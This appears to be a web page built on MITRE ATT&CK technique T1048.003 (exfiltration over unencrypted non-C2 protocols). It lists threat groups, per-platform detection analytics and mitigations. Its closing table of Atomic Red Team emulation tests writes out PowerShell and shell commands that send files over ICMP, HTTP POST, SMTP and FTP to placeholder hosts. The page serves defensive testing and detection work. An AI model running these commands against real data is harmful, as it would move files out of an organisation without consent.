Exfiltration Over Unencrypted Non-C2 Protocol T1048.003
- Tactic
- Exfiltration
- Platforms
- ESXi, Linux, macOS, Network Devices, Windows
- Version
- 2.2
- Created
- 15 March 2020
- Last modified
- 12 May 2026
- Contributors
- William Cain; Austin Clark, @c2defense
Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.[1]
Exfiltration Over Unencrypted Non-C2 Protocol MITRE reference T1048.003
11 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has exfiltrated configuration files from exploited network devices over FTP and TFTP.1
Has used FTP to exfiltrate archive files.1
Has used WinSCP to exfiltrate data from a targeted organization over FTP.1
Has used FTP to exfiltrate files (separately from the C2 channel).1
All 11 groups for this technique · 6 newest in this preview
2 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
During the 2025 Poland Wiper Attacks, the adversaries exfiltrated data to an actor-controlled infrastructure using HTTP POSTs.1
During C0017, APT41 exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.1
All 2 campaigns for this technique
22 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Has used FTP to exfiltrate files and directories using the command ssh_upload which contains with six subcommands of .sdira, sdir, sfile, sfinda, sfindr and sfind that had varying functions.12 InvisibleFerret has exfiltrated stolen files and data to the C2 servers over ports 1224, 2245 and 8637.3
Has leveraged curl for data exfiltration over FTP by uploading RAR archives containing targeted files (.doc, .docx, .xls, .xlsx, .pdf, .ppt, .pptx) to an adversary-owned FTP site.1
Can exfiltrate data directly to its C2 domain via HTTP.1
Can send captured credentials to C2 via HTTP GET or POST requests.12
Can upload collected data and files to an FTP server.1
Can exfiltrate data over FTP or HTTP, including HTTP via WebDAV.1
All 22 software entries for this technique · 6 newest in this preview
Offense vs defense T1048.003
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Exfiltration Over Unencrypted Non-C2 Protocol detection strategy DET0149
MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detection of Exfiltration Over Unencrypted Non-C2 Protocol
AN0423 · Windows
Detects data access or staging events followed by outbound data flows using unencrypted protocols (e.g., FTP, HTTP) initiated by unexpected processes or to rare destinations.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| File AccessDC0055 | WinEventLog:Security | EventCode=4663, 4670, 4656 |
| Network Connection CreationDC0082 | WinEventLog:Sysmon | EventCode=3, 22 |
| Network Traffic ContentDC0085 | NSM:Flow | http.log, ftp.log |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| UnencryptedProtocolList | Set of protocols considered suspicious for outbound data exfiltration (e.g., FTP, HTTP). |
| DataTransferSizeThreshold | Defines what amount of outbound data is considered abnormal for a host/user. |
| ParentProcessDenylist | Processes that should not launch FTP/HTTP clients (e.g., winword.exe launching ftp.exe). |
AN0424 · Linux
Detects file access or compression utilities followed by outbound connections using curl, wget, ftp, or custom binaries communicating over unencrypted protocols.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | auditd:SYSCALL | execve |
| Network Traffic FlowDC0078 | NSM:Flow | flow records |
| Network Connection CreationDC0082 | auditd:SYSCALL | connect |
| Network Traffic ContentDC0085 | NSM:Flow | http.log, ftp.log |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| SensitiveDirectoryWatchlist | Flag access to paths known to store sensitive or regulated data. |
| ProcessBaseline | Define which binaries are allowed to communicate externally using HTTP/FTP. |
| TimeWindow | Correlates process/file/network within a defined time window. |
AN0425 · macOS
Detects abnormal outbound HTTP/FTP connections by local scripts or binaries outside of standard browser activity, following access to local documents or user data.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos:osquery | process_events |
| File AccessDC0055 | macos:unifiedlog | log stream - file subsystem |
| Network Traffic FlowDC0078 | macos:osquery | socket_events |
| Network Traffic ContentDC0085 | NSM:Flow | http.log, ftp.log |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ScriptedClientAllowlist | Defines allowed automated agents that may transmit HTTP or FTP data (e.g., backup tools). |
| PayloadInspectionKeywordList | Terms or patterns indicating structured or sensitive data leaving via HTTP/FTP. |
AN0426 · ESXi
Detects shell-based scripts accessing configuration files or snapshots and transmitting them over unencrypted protocols such as FTP or HTTP to non-management IPs.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Command ExecutionDC0064 | esxi:hostd | event stream |
| Network Traffic FlowDC0078 | NSM:Flow | flow records |
| Network Traffic ContentDC0085 | NSM:Flow | http.log |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| VMConfigAccessPathWatchlist | Locations of VMX/CFG/SNAPSHOT files that should not be accessed by non-admin shells. |
| OutboundProtocolProfile | Expected network protocols for guest and host interfaces. |
AN0427 · Network Devices
Detects use of unencrypted protocols (e.g., TFTP, FTP, HTTP) to transfer configuration files, routing tables, or logs to untrusted IP addresses, especially using administrative commands like copy run ftp:.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Command ExecutionDC0064 | networkdevice:cli | CLI command logs |
| Network Traffic FlowDC0078 | networkdevice:syslog | flow records |
| Network Traffic ContentDC0085 | NSM:Flow | PCAP inspection |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ProtocolCommandWatchlist | Flag commands like copy, archive tar, or upload directed at external hosts. |
| DestinationIPBlocklist | Define external IP ranges unauthorized to receive router/switch configs. |
Data loss prevention can detect and block sensitive data being sent over unencrypted protocols.
Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level.
Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Exfiltration Over Alternative Protocol - HTTP | macos, linux | manual | — | — | — | ||||||||||||||||||||||
A firewall rule (ipfw,pf,iptables or firewalld) will be needed to allow exfiltration on port 1337. Upon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded. Attack command No command — this test is a manual procedure. GUID149f3154-3f83-4cd1-9307-85bc27f858fe | ||||||||||||||||||||||||||||
| 02 | Exfiltration Over Alternative Protocol - ICMP | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Exfiltration of specified file over ICMP protocol. Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout. Input arguments
Attack command $ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }
GUIDe0ad5285-4361-467c-bd41-a3e8e676019f | ||||||||||||||||||||||||||||
| 03 | Exfiltration Over Alternative Protocol - DNS | linux | manual | — | — | — | ||||||||||||||||||||||
Exfiltration of specified file over DNS protocol. Attack command No command — this test is a manual procedure. GUID5bb4180a-cb47-4a99-bc21-fa266b039200 | ||||||||||||||||||||||||||||
| 04 | Exfiltration Over Alternative Protocol - HTTP | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Exfiltration of specified file over HTTP. Upon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout. Input arguments
Attack command $content = Get-Content #{input_file}
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content
GUID3a49d7ed-7d3d-4498-a386-bbc7ff169f8b | ||||||||||||||||||||||||||||
| 05 | Exfiltration Over Alternative Protocol - SMTP | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Exfiltration of specified file over SMTP. Upon successful execution, powershell will send an email with attached file to exfiltrate to a remote address. Results will be via stdout. Input arguments
Attack command Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003 Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server}
GUID4f15f3f5-50e9-42c7-adef-cb7c36de7479 | ||||||||||||||||||||||||||||
| 06 | MAZE FTP Upload | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||
This test simulates MAZE's ransomware's ability to exfiltrate data via FTP. Upon successful execution, all 7z files within the %windir%\temp directory will be uploaded to a remote FTP server. Reference: https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents Input arguments
Attack command $Dir_to_copy = "$env:windir\temp"
$ftp = "ftp://#{ftp_server}/"
$web_client = New-Object System.Net.WebClient
$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')
if (test-connection -count 1 -computername "#{ftp_server}" -quiet)
{foreach($file in (dir $Dir_to_copy "*.7z"))
{echo "Uploading $file..."
$uri = New-Object System.Uri($ftp+$file.name)
$web_client.UploadFile($uri, $file.FullName)}}
else
{echo "FTP Server Unreachable. Please verify the server address in input args and try again."}
Cleanup command $ftp = "ftp://#{ftp_server}/"
try {foreach ($file in (dir "$env:windir\temp" "*.7z"))
{$uri = New-Object System.Uri($ftp+$file.name)
$ftp_del = [System.Net.FtpWebRequest]::create($uri)
$ftp_del.Credentials = New-Object System.Net.NetworkCredential('#{username}','#{password}')
$ftp_del.Method = [System.Net.WebRequestMethods+Ftp]::DeleteFile
$ftp_del.GetResponse()}} catch{}
GUID40662b9b-c732-49ed-9be1-14e59983371a | ||||||||||||||||||||||||||||
| 07 | Exfiltration Over Alternative Protocol - FTP - Rclone | windows | PowerShell | Required | 2 | — | ||||||||||||||||||||||
Rclone may be used by an adversary to exfiltrate data to a publicly hosted FTP server. Reference Input arguments
Attack command $rclone_bin = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "rclone.exe" | Select-Object -ExpandProperty FullName
$exfil_pack = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "exfil.zip" | Select-Object -ExpandProperty FullName
&$rclone_bin config create ftpserver "ftp" "host" #{ftp_server} "port" #{ftp_port} "user" #{ftp_user} "pass" #{ftp_pass}
&$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificatePrerequisite Check if the exfil package exists Check if (Test-Path C:\Users\Public\Downloads\exfil.zip) {exit 0} else {exit 1}
Satisfy fsutil file createnew C:\Users\Public\Downloads\exfil.zip 20485760 Prerequisite Check if rclone zip exists Check if (Test-Path C:\Users\Public\Downloads\rclone-current-windows-amd64.zip) {exit 0} else {exit 1}
Satisfy Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "C:\Users\Public\Downloads\rclone-current-windows-amd64.zip" Expand-Archive C:\Users\Public\Downloads\rclone-current-windows-amd64.zip -DestinationPath C:\Users\Public\Downloads\ GUID17039ca3-685e-4fbb-8a97-813074e0ba43 | ||||||||||||||||||||||||||||
| 08 | Python3 http.server | linux | sh | — | — | — | ||||||||||||||||||||||
An adversary may use the python3 standard library module http.server to exfiltrate data. This test checks if python3 is available and if so, creates a HTTP server on port 9090, captures the PID, sleeps for 10 seconds, then kills the PID and unsets the $PID variable. Attack command [ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9 if [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi GUID7ce3d6e6-7edc-457e-84d3-1a916ef469d7 | ||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition